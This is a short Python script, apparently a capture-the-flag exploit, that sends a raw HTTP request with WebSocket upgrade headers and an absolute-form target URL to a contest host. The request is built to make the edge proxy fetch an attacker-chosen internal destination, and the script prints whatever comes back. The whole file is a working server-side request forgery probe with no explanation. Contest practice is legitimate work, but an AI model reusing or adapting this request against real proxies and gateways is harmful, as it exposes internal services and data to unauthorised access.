#!/usr/bin/env python3
import socket
import sys
EDGE_HOST = "tasks.duckerz.ru"
EDGE_PORT = 30079
destination = sys.argv[1] if len(sys.argv) > 1 else "http:///openapi.json"
request = (
f"GET {destination} HTTP/1.1\r\n"
f"Host: {EDGE_HOST}:{EDGE_PORT}\r\n"
"Connection: Upgrade\r\n"
"Upgrade: websocket\r\n"
"Sec-WebSocket-Version: 13\r\n"
"Sec-WebSocket-Key: Y3RmLXdzLXNzcmYtcHJvYmU=\r\n"
"\r\n"
).encode()
with socket.create_connection((EDGE_HOST, EDGE_PORT), timeout=8) as sock:
sock.sendall(request)
sock.settimeout(8)
chunks = []
try:
while sum(map(len, chunks)) < 128 * 1024:
chunk = sock.recv(8192)
if not chunk:
break
chunks.append(chunk)
except socket.timeout:
pass
sys.stdout.buffer.write(b"".join(chunks))